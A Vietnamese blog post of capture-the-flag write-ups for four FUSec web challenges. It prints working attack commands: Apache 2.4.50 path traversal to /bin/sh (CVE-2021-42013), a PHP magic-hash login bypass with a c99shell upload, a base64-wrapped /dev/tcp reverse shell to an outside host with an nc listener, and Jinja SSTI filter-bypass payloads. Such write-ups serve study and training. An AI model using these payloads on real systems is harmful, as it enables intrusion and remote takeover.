- Bắt đầu với challenge, ta được cung cấp 2 dữ liệu, file httpd.conf, và gợi ý về flag:
httpd.conf
là file config của Apache Server, truy cập vào file theo đường dẫn, mình nhận thấy có một số thứ hay ho:
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options None
Require all granted
</Directory>
Trong thời gian gần đây, có 2 CVE nổi tiếng liên quan đến 2 phiên bản của Apache và
cgi-bin
của nó, đó là CVE-2021-41773 (Apache 2.4.49) và CVE-2021-42013 (Apache 2.4.50), đặc điểm chung là lỗi trong việc normalize path ở fileutil.c
khiến tin tặc có thể sử dụngpath traversal
với payload thường thấy là/cgi-bin/../../../etc.passwd
, nhưng, vìutil.c
đã check dấu.
khi normalize path, nên chúng ta sẽ cần dùng tới những payload được encode như/.%2e/
thay cho/../
.Tất nhiên, giữa 2 CVE kể trên có sự khác nhau trong payload, vì vậy chúng ta cần check xem Apache đó thuộc phiên bản nào (nếu > 2.4.50 thì kiếp này coi như bỏ :'()
Mình thử check với câu lệnh
nmap
đơn giản sau:nmap -A -p8889 139.180.208.121 -vvv
Và có được kết quả:
PORT STATE SERVICE REASON VERSION 8889/tcp open http syn-ack Apache httpd 2.4.50 ((Unix)) | http-methods: | Supported Methods: HEAD GET POST OPTIONS TRACE |_ Potentially risky methods: TRACE |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.50 (Unix)
Như vậy là Apache 2.4.50, ta có thể dùng
%%32%65%%32%65/
hoặc.%%32%65/
thay thế cho../
Có một lưu ý là khi đọc
httpd.conf
, hãy để ý đến dòngScriptAlias
để biết liệu có alias nào thay chocgi-bin
không, ví dụ như trong bài này:ScriptAlias /nothingspecial/ "/usr/local/apache2/cgi-bin/"
Và để ý
DocumentRoot
như trong bài:DocumentRoot "/usr/local/apache2/htdocs"
Như vậy để truy cập được
/
thì ta cần 4 cặp../
, thay thế alias và 2 cách encode đã kể trên, ta có payload:/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag
Nhưng, như vậy liệu có đúng? Thử với
curl
và đây là kết quả:Thực tế có một cách khác, ta sẽ dùng đến
/bin/sh
và option--data
củacurl
để mở file, đơn giản như sau:curl 'http://139.180.208.121:8889/nothingspecial/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo; cat ../flag'
Và đây là kết quả:
Flag:
FUSEC{970c5c12bc41fd2783748e73fccf99b0}
Truy cập vào bài, ta có login form:
Thử xem source code của bài xem sao? (Source code khá dài, nên mình sẽ cắt từ đoạn form đến hết hint)
<form action="verify.php" method="post"> User Name:<br> <input type="text" name="username"><br><br> Password:<br> <input type="password" name="password"><br><br> <input type="submit" name="submit" value="Login"> </form> <!-- if(isset($_POST['submit'])){ if ((int) $_POST['password'] === (int) "8xdeadbeef"){ $usr = $_POST['username']; $pas = hash('sha256', htmlentities($_POST['password'])); if($pas == "0" && strcmp("ahihi", $usr) == 0 && $usr != "ahihi"){ session_start(); $_SESSION['logged'] = TRUE; header("Location: chall.php"); exit; } }else{ header("Location: index.php"); exit; } }else{ header("Location: index.php"); exit; } ?>
Vậy là chúng ta có gợi ý về code PHP của back-end, hãy thử phân tích nó một chút, để dễ dàng theo dõi, mình sẽ gán đoạn PHP vào Vim để nhìn theo line-number:
Tại dòng thứ 3, ta có thể thấy toán tử so sánh
===
(cùng loại, cùng giá trị),(int) "8xdeadbeef"
có giá trị là8
, như vậy password cần mang giá trị8
khi ép vềint
Nói qua một chút về việc ép
String
vềInteger
trong PHP, hãy để ý chuỗi8xdeafbeef
, chuỗi này bắt đầu bằng số8
, nên khi ép vềint
thì sẽ mang luôn giá trị là8
, để dễ hình dung thì chúng ta thử trên PHP luôn:Như vậy ta biết password sẽ bắt đầu bằng
8
và kế tiếp là các kí tự không phải kí tự số như8anhtunglua
chẳng hạn :>Ta biết password sẽ được hash
SHA256
, và không có salt (Dòng 5)Tại dòng 6 ta có 3 điều kiện với 3 phép so sánh:
==
và!=
(so sánh giá trị, không so sánh kiểu) vàstrcmp()
(so sánh 2 string, trả về 0 nếu giống nhau):Hãy để ý đến phép so sánh
$pas == "0"
, đây là một huyền thoại của PHP :> Ta biết rằng$pas
được hashSHA256
rồi mới đem vào so sánh, phép so sánh==
giữa một chuỗi hash và"0"
trong PHP sẽ gây ra lỗi liên quan đến Magic Hash, cụ thể thì những chuỗi hash bắt đầu bằng"0e"
, khi so sánh==
với"0"
sẽ luôn trả về giá trị đúng xD, bạn có thể tìm hiểu về magic hash, không chỉSHA256
mà còn nhiều dạng khác tại đâyNhư vậy, password phải bắt đầu bằng
8
và có mã hash SHA256 bắt đầu bằng"0e"
, theo link ở trên, mình tìm được mã này:8W-vW:5ghashcat:0e99625202804787226908207582077273485674961623832383874594371630 (note: the plaintext has a colon in the middle)
Như vậy password sẽ là
8W-vW:5ghashcat
Tiếp đến 2 điều kiện còn lại của dòng 6:
strcmp("ahihi", $usr) == 0 && $usr != "ahihi"
:D ???Mới đầu đọc mình cũng hơi bị lú tí, làm thế nào mà
strcmp
thì trả về 0 (giống nhau) mà đằng sau lại khác nhau cho được :D ???, nhưng, có một điều vềstrcmp
trong PHP, hay nói đúng hơn là cái==
chết tiệt của PHP:Như vậy điều ta cần là nhập username dưới dạng
Array
, but how to do that?Để ý đến source code form của username:
<input type="text" name="username">
, ta thấy khi submit, query string sẽ có dạng?username=anything&password=anything
đúng không? Vậy muốn đổi từ?username=
sang?username[]=
thì đơn giản ta chỉ cần sửa lại code HTML của username form thành<input type="text" name="username[]">
Bây giờ tiến hành nhập username (mình để
ahihi
cho theo ý thích của người ra đề :>) và password8W-vW:5ghashcat
và đây là kết quả:Ta đã vào được trang
chall.php
đúng như điều kiện của back-end PHP ở trên, Ctrl U để xem source code nào:
if(isset($_FILES['file'])){
if($_FILES['file']['size'] > 1048576){
$errors='File size must be excately 1 MB';
}
if(empty($errors)==true){
$up = "uploads/".rand().".".explode(".",$_FILES['file']['name'])[1];
move_uploaded_file($_FILES['file']['tmp_name'],$up);
echo "File uploaded successfully\n";
echo '<p><a href='. $up .' target="_blank">File</a></p>';
}else{
echo $errors;
}
}
Đây là source code PHP cho phần upload file, có thể thấy ta có thể upload bất cứ file gì, miễn là đừng vượt quá
1048576 bytes
là đượcMình sử dụng một file có tên là c99shell.php để upload, truy cập vào file và ta có toàn bộ file được upload lên :v
Lul, có vẻ flag không có ở đây, và nếu để ý thì tất cả file đều chỉ có quyền
read
mà thôi :v như vậy mình không thể dùng command rồi :v mình thử truy cập vào thư mục cha của thư mục hiện tại, và mình thấy file này:Thử dùng path traversal để mở file
fl@@@g_1337_ahiahi.txt
xem sao :vVậy là đã có flag:
FUSec{Muốn giết một con rồng, máu phải chảy thành sông_Tai nạn quá, không sao, winable, winable guys}
Có một cách đơn giản, mà hay ho hơn để làm bài này
Đầu tiên, chuẩn bị 1 file PHP như sau:
<?php phpinfo(); ?>
Tìm
disable_functions
, thu được danh sách các funcion bị chặn:Như vậy, rất nhiều function liên quan đến command và file handling bị chặn, nhưng có 2 hàm không bị chặn:
dir
vàinclude
Đầu tiên cần list file:
<?php $cur = dir("."); $par = dir(".."); echo "Current:<br>"; while (($file = $cur->read()) !== false){ echo "filename: " . $file . "<br>"; } echo "Parent:<br>"; while (($file = $par->read()) !== false){ echo "filename: " . $file . "<br>"; } $cur->close(); $par->close(); ?>
Upload lên và mở file, thu được danh sách file trong thư mục hiện tại và thư mục cha, để ý thấy trong thư mục cha có file
fl@@@g_1337_ahiahi.txt
, đến đây thì path traversal cũng được, tạo file PHP cũng được:<?php echo "<p>"; include '../fl@@@g_1337_ahiahi.txt'; echo "</p>"; ?>
III. PRP201
Truy cập vào bài thì thấy có 5 đường dẫn đến 5 file txt
Thử truy cập vào một trong số đó sẽ thấy URL có dạng:
http://139.180.208.121:8001/getData?f=/fus/data/1.txt
, liệu đây có phải path traversal? có vẻ như các anh ra đề năm nay khá thích path traversalMò mẫm một lúc thì mình tìm được file
flag.txt
cũng trong/fus/data
:D với nội dung như sau:Vậy là cần phải làm cách nào đó để xem được cái
secret_service
đóĐến đây thì mình bắt đầu bí rồi, path traversal thì cũng cần phải biết có những gì trong đó chứ (hoặc ít nhất là mình nghĩ vậy), cho tới khi ban ra đề cho hint đầu tiên:
?f=/fus/data/../app.py
, vậy hãy xem source code này có vấn đề gì?Vì source khá dài nên mình sẽ phân tích từng hàm một, bỏ qua hàm index, vì nó in ra trang mà chúng ta truy cập vào đầu tiên
@app.route('/getData', methods=['GET']) def getLog(): log_file = flask.request.args.get('f') if (log_file.startswith('/fus/data')): return flask.send_file(log_file, mimetype='text/plain', as_attachment=False) else: return ({'status': 'invalid path'},200)
Ok, đây chính là hàm mà chúng ta dùng để đọc file và thực hiện path traversal, không có nhiều điều để nói về nó.
# run script to crawl data @app.route('/runScript') def runScript(): json = flask.request.json msg = start(json) return ({'status': msg},200) def check_script_dup(scripts, command_log, json): try: script_parent_dir = scripts + '/' + json['dir'] script_path = script_parent_dir + '/' + json['name'] except: return "missing dir and name" if os.path.exists(script_path): return "duplicate script" else: if not os.path.exists(script_parent_dir): os.makedirs(script_parent_dir) return download_script(script_path, command_log, json) def download_script(script_path, command_log, json): try: script_link = json['url'] except: return "missing url" # don't trust anyone if (urllib.parse.urlparse(script_link).netloc == "localhost:8888"): result = requests.get(script_link) with open(script_path, 'wb') as f: f.write(result.content) run_script(script_path, command_log) else: return "invalid script link" def run_script(script_path, command_log): lf = open(command_log, 'wb+') command = subprocess.Popen(['bash', script_path], stderr=lf, stdout=lf, universal_newlines=True) return "Run successfully" def start(json): scripts = home + '/scripts' log = home + '/logs' if not os.path.exists(scripts): os.makedirs(scripts) if not os.path.exists(log): os.makedirs(log) try: command_log = log + '/' + json['command_log'] + '.txt' except: return "missing command_log" msg = check_script_dup(scripts, command_log, json) return msg
Mình sẽ để cả 5 hàm này chung với nhau, vì chúng liên quan mật thiết với nhau, và cũng là tiền đề cho mọi thứ
Ta có thứ tự như sau:
runScript()
nhận json từ request và truyền cho hàmstart()
start()
xử lý việc tạo ra đường dẫn thư mục chologs
,scripts
và tạo filecommand_log
và đưa vào hàmcheck_script_dup()
check_script_dup()
nôm na thì kiểm tra xem file script đã tồn tại hay không, nếu tồn tại thì tất nhiên là không cần mất công đến hàm tiếp theo, hàmdownload_script()
download_script()
là phần sẽ "tạo ra nội dung file", bằng cách nhập file từurl
trong JSON vào filescript
, ở đây ta biết được rằng,url
đó sẽ có dạnghttp://localhost:8888/anything_else
vì đoạn#dont trust anyone
, hãy nhớ điều này- Sau khi
download_script()
hoàn tất, hàmrun_script()
được khởi động, hàm này sẽ chạy một câu lệnhbash <script_bash>
, và từ đây ta hiểu được 2 điều:script_bash
là tên file được thực thi bới lệnhbash
, có nội dung được nhập từ nôi dung file trênurl
của JSON truyền vàocommand_log
chính là file log củastdout
vàstderr
, như vậy khi thực thi, output và thông báo lỗi củabash
đều sẽ đẩy vào file log đó, và tất nhiên, ta có thể xem file log đó qua path traversal
Đến đây thì mình (và tin chắc ai đó khi xem WU này), chắc hẳn đều đã nghĩ ra rồi, tác giả cũng đã ra hint
suprocess.Popen(), stderr, stdout là gì?
rồi :vMình thử luôn nhé :v Như ở trên ta đã có JSON bao gồm
dir
,name
,command_log
,url
URL để nhận file JSON là
http://139.180.208.121:8001/runScript
, để gửi JSON lên thì mình sử dụngcurl
như sau:curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{json}'
Mình sẽ thử tạo một JSON như sau:
{ "dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/" }
Ghép lại với
curl
:curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls", "command_log" : "log", "url" : "http://localhost:8888/"}'
Và sau khi gửi, truy cập vào
http://139.180.208.121:8001/getData?f=/fus/data/../logs/log.txt
để xem kết quả của câu lệnh là gì (ta biếtlogs
cùng chung thư mục cha vớidata
khi xem code):Có thể thấy rằng, nội dung file chính
log.txt
chính là biếnscript_path
được ra thêm cảresponse
củaindex()
, chúng trên một dòng nên sẽ bị lỗi, thử đổils
thành\nls\n
ở JSON và gửi lên, sẽ thấy sự khác biệt:Thấy rõ là
ls
đã thụt xuống, vậy điều này có ý nghĩa gì?bash <filename>
khi chạy sẽ chạy từ trên xuống như các ngôn ngữ lập trình, nhưng có một điều đặc biệt là, hàng nào lỗi, nó sẽ in ra lỗi và chạy hàng tiếp theo, chứ không dừng lại khi gặp lỗi syntax bên trongĐến đây thì mình đã nhận ra, hàm
download_script()
, vậy sẽ ra sao nếu mình truyền vàourl
trong JSON làhttp://localhost:8888/getData?f=/fus/data/../logs/log.txt
(nên lưu ýlocalhost
ở đây là local của server :> ), thì có phảidownload_script()
sẽ lấy nội dung củalog.txt
để đưa vàoscript_path
?Như vậy mình tạo JSON mới và lệnh
curl
mới như sau:{ "dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt" }
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "test", "name" : "ls.sh", "command_log" : "lssh", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/log.txt"}'
Và gửi đi, giờ chỉ cần mở file
lssh.txt
bằng path traversal và thu được kết quả:Vậy là chính xác rồi, nhưng có một vấn đề là ta cần tìm đến
/root
để mở filesecret_service
, và tất nhiên là phải root thì mới có thể làm được điều đó (mình đã thử rồi)Mụ mẫm cả đầu thì anh T giấu tên và anh Khoa (tác giả) đã gợi ý về
reverse shell
Vậy bây giờ chỉ cần dùng cách trên, tạo một file chạy một đoạn reverse shell và chúng ta sẽ chiếm quyền thông qua SUID (hint từ tác giả) là xong
Nhưng, mình đã thử và nhận ra, tất cả những command mà chứa dấu '/' thì lỗi 500 là rõ, như ở dưới mình để
name
trong JSON là\nls ../root\n
:Vậy là mình cần cách khác, nhưng trước tiên, phải chuẩn bị cái reverse shell đã :D
sh -i >& /dev/tcp/34.92.153.161/8899 0>&1
Có cả revshell của
bash
,nc
, ..., tìm hiểu tại đâyVẫn là tác giả đã gợi ý cho mình một cách để đẩy được revshell kia lên, sử dụng
base64
, chuyển đoạn shell ở trên thànhbase64
encode, và đưa về dạng sau:echo "c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjEK" | base64 -d | bash
Vậy là xong, giờ cần chuẩn bị request đầu tiên (hãy nhớ escape string :v):
{ "dir" : "rev", "name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n", "command_log" : "rev", "url" : "http://localhost:8888/" }
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev","name" : "\necho \"c2ggLWkgPiYgL2Rldi90Y3AvMzQuOTIuMTUzLjE2MS84ODk5IDA+JjE=\" | base64 -d | bash\n","command_log" : "rev","url" : "http://localhost:8888/"}'
Gửi đi, và trước khi đến với lần request thứ 2, mình phải tạo một listener trên máy của mình đã (thực ra là VPS mình mượn của một người bạn xứ cảng):
nc -lvnp 8899
Giờ để listener ở đó, ta quay lại với request thứ 2, request để chạy revshell:
json { "dir" : "rev_tcp", "name" : "rev_tcp.sh", "command_log" : "rev", "url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt" }
curl -X GET http://139.180.208.121:8001/runScript -H 'Content-Type: application/json' -d '{"dir" : "rev_tcp","name" : "rev_tcp.sh","command_log" : "rev","url" : "http://localhost:8888/getData?f=/fus/data/../logs/rev.txt"}'
Và gửi đi, rồi quay lại listener:
Vậy là ta đã mở được reverse shell trên server
Bây giờ chỉ cần tiến hành leo thang đặc quyền thôi:
Ta có flag:
"FUSec{a9595511e650bb0ff367d8144818802b}"
IV. PRP202
Bắt đầu vào bài, tại trang index, Ctrl U lên thấy source code Flask của web
```
app = Flask(__name__, template_folder="template") SESSION_TYPE = "filesystem" app.config.from_object(__name__) Session(app) authCode = "C4n 1 Trust Y0u? Player "
# Our bot detected that some users had gained access to the system by malicious function, so we decided to ban it.
blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]
def authCheck(input):
if session.get(input) == None:
return ""
return session.get(input)
@app.route("/", methods=["GET", "POST"])
def index():
try:
session.pop("userCode")
session.pop("winner")
except:
pass
if request.method == "POST":
ok = request.form["ok"]
for ban in blacklist:
if ban in request.form["name"]:
return render_template_string("Hacker Alert!!!")
session["userCode"] = request.form["name"]
if ok == "Let's play!":
session["check"] = "access"
# bypass this? No way haha :D
winner = "cocailonditconbamay"
session["winner"] = winner
return render_template_string(
"Generating winner hash...<script>setInterval(function(){ window.location='/doanxem'; }, 500);</script>"
)
return render_template("index.html")
@app.route("/doanxem", methods=["GET", "POST"])
def doanxem():
try:
if authCheck("check") == "":
return render_template_string(authCode + authCheck("userCode"))
else:
if request.method == "POST":
winner_input = request.form["winner"]
if winner_input == authCheck("winner"):
mess = (
"You are the real winner!!!!!!!!!! "
+ authCheck("userCode")
+ ", here your flag: https://youtu.be/dQw4w9WgXcQ"
)
elif winner_input != authCheck("winner"):
mess = "Wrong! You die!<script>setInterval(function(){ window.location='/choilai'; }, 1200);</script>"
return render_template_string(mess)
return render_template("doanxem.html")
except:
pass
return render_template_string(authCode + authCheck("userCode"))
@app.route("/choilai")
def reset_access():
try:
session.pop("check")
return render_template_string(
"You got an Extra Change. Gud luck :D!!!!!!<script>setInterval(function(){ window.location='/'; }, 500);</script>"
)
except:
pass
return render_template_string(authCode + authCheck("userCode"))
if __name__ == "__main__":
app.secret_key = "###########"
serve(app, host="0.0.0.0", port=8900)
- Có `render_template_string()` nên rất dễ đoán đây là [SSTI](https://portswigger.net/research/server-side-template-injection)
- Nhưng vì đã bị chặn `request.args` nên chắc phải inject từ một input nào đó :v
- Review lại source code thì ta thấy có 2 chỗ `render_template_string()` cần sử dụng `authCheck("userCode")`, chính là cái tên ta nhập ở index
- Ở `doanxem()` ta thấy `mess` là một đoạn code chuyển hướng sang `/choilai`
- Sang đến `choilai()` thì ta thấy rằng nó sẽ `pop` cái mục `check` của session data, vậy câu hỏi ở đây là, nếu như ta để cho `doanxem` gửi một request sang `/choilai`, nhưng trước khi `/choilai` kịp render, ta drop cái request đó? Tất nhiên cái `session.pop("check")` vẫn được thực thi, nhưng không render. Và nếu ta gửi tiếp một request của `doanxem` vào `/choilai`, điều gì sẽ xảy ra? `session.pop()` sẽ lỗi vì đã pop trước đó, nên giờ không còn gì mà pop, và thay vì render ra chuyển hướng về index, thì đoạn render cuối sẽ được thực thi.
- Đã rõ cách để trigger template, thử nhập `{{7*7}}` ở index và làm các bước như trên:
[](https://github.com/phucdc-noob/FUSec-Write-Ups/blob/main/img/PRP202_1.png)
- Vậy là đã rõ, bây giờ việc cần làm là tạo ra payload, trước tiên, hãy review cái black list của source code đã:
blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]
- Đoạn này khá là khó, vì black list chứa những kí tự và từ khóa phổ biến để tạo payload SSTI
- Suy nghĩ mãi làm thế nào để tạo payload thì người anh TungDLM bảo `chr`, sáng dạ thêm một tí
- Cụ thể thì ta sẽ dùng `chr()` để tạo các kí tự trong string và ghép chúng lại, nhưng trước tiên, phải define nó
- Thử nhập `().__class__.__base__.__subclasses__()` để list các subclass và mình thấy, tại vị trí 80 có `<class '_frozen_importlib._ModuleLock'>`, có thể sử dụng nó để define `chr`:
{% set ().__class.__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
- Đoạn này phải cảm ơn 3 chữ `s e t` của anh TaiDH, một pro đã giải bài này trong 15 phút, trước cả mình
- Ok, để đoạn define ở đó, bây giờ đến đoạn payload chính, có rất nhiều hướng làm:
- Cách của anh TungDLM gợi ý:
{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42))).read()}}
```
Dễ hiểu là, chúng ta sẽ lợi dụng đoạn `__doc__` của `Tuple`, ví `__doc__` là một String nên ta chỉ việc cắt một đoạn của nó ra, `replace()` để thay thế các kí tự, sử dụng `chr()` để thay cho việc dùng `''/""`. Nhờ đó tạo được câu lệnh để `os.open()` thực thi (`cat *`) và in ra tại `read()`
Cách của mình (dài và mất não @@):
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.open(chr(97).__add__(chr(112).__add__(chr(112).__add__(chr(46).__add__(chr(112).__add__(chr(121)))))))}}
Tại đây mình sử dụng
__add__
để nối các kí tự thành chuỗi vàopen()
để mở file, không khuyến khích làm theo, khổ dâm lắm :'(
Ok, giờ tạo payload hoàn chỉnh thôi:
Payload TungDLM:
{% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42)))}}
Payload của mình:
{% set chr = ().__class__.__base__.__subclasses__()[80].__init__.__globals__.__builtins__.chr %}{{cycler.__init__.__globals__.os.popen(().__doc__[36:41].replace(chr(97),chr(99)).replace(chr(114),chr(97)).replace(chr(103),chr(116)).replace(chr(117),chr(32)).replace(chr(109),chr(42)))}}
Và có kết quả:
Flag:
FUSEC{@@@@@@Th3_n3Xt_l3v3l_pL4y!!!!!!!!}
Rất có thể có nhiều cách khác, vì anh TungDLM đã để nhả
Cảm ơn anh TungDLM và anh TaiDH đã hỗ trợ trong quá trình giải bài này
- Qua quá trình làm bài mình đã phải research rất nhiều để tạo payload hoàn chỉnh, dưới đây là một số link mà mình đã tham khảo:
- https://doantung99.medium.com/fpt-night-wolf-ctf-writeup-de43925ed84b, WU của anh TungDLM trong giải NightWolf-CTF do SAS tổ chức, trong đó có bài XSMB, cùng SSTI tương tự, tại bài đó, anh Tùng có đính kèm 2 link tham khảo
- https://chowdera.com/2020/12/20201221231521371q.html, đây là bài viết mình tham khảo rất rất nhiều, chi tiết và có thêm 3 đoạn code viết bằng python giúp tìm vị trí các class dễ hơn, một số trick bypass filter, nên tham khảo
- https://portswigger.net/research/server-side-template-injection, đây là bài viết của Jame Kettle về SSTI, nếu nhớ không nhầm chính ông này nghiên cứu ra SSTI, nên đọc nếu chưa biết nhiều về SSTI
- Bên cạnh đó, vì Server của bài sẽ hết hạn vào 7 phút nữa (12h :v) nên mình đã crawl app.py về, hãy deploy local và theo dõi log, trải nghiệm thú vị đó:
from flask import Flask, session, request, render_template, render_template_string
from flask_session import Session
from random import randint as hack
from waitress import serve
import builtins
app = Flask(__name__, template_folder="template")
SESSION_TYPE = "filesystem"
app.config.from_object(__name__)
Session(app)
authCode = "C4n 1 Trust Y0u? Player "
# Our bot detected that some users had gained access to the system by malicious function, so we decided to ban it.
blacklist = ["'", '"', "request", "readlines", "+", "%2b", "%22", "%27", "linecache"]
def authCheck(input):
if session.get(input) == None:
return ""
return session.get(input)
@app.route("/", methods=["GET", "POST"])
def index():
try:
session.pop("userCode")
session.pop("winner")
except:
pass
if request.method == "POST":
ok = request.form["ok"]
for ban in blacklist:
if ban in request.form["name"]:
return render_template_string("Hacker Alert!!!")
session["userCode"] = request.form["name"]
if ok == "Let's play!":
session["check"] = "access"
# bypass this? No way haha :D
winner = "cocailonditconbamay"
session["winner"] = winner
return render_template_string(
"Generating winner hash...<script>setInterval(function(){ window.location='/doanxem'; }, 500);</script>"
)
return render_template("index.html")
@app.route("/doanxem", methods=["GET", "POST"])
def doanxem():
try:
if authCheck("check") == "":
return render_template_string(authCode + authCheck("userCode"))
else:
if request.method == "POST":
winner_input = request.form["winner"]
if winner_input == authCheck("winner"):
mess = (
"You are the real winner!!!!!!!!!! "
+ authCheck("userCode")
+ ", here your flag: https://youtu.be/dQw4w9WgXcQ"
)
elif winner_input != authCheck("winner"):
mess = "Wrong! You die!<script>setInterval(function(){ window.location='/choilai'; }, 1200);</script>"
return render_template_string(mess)
return render_template("doanxem.html")
except:
pass
return render_template_string(authCode + authCheck("userCode"))
@app.route("/choilai")
def reset_access():
try:
session.pop("check")
return render_template_string(
"You got an Extra Change. Gud luck :D!!!!!!<script>setInterval(function(){ window.location='/'; }, 500);</script>"
)
except:
pass
print(authCheck("userCode"))
return render_template_string(authCode + authCheck("userCode"))
if __name__ == "__main__":
app.secret_key = "###########"
serve(app, host="0.0.0.0", port=8900)
No comments:
Post a Comment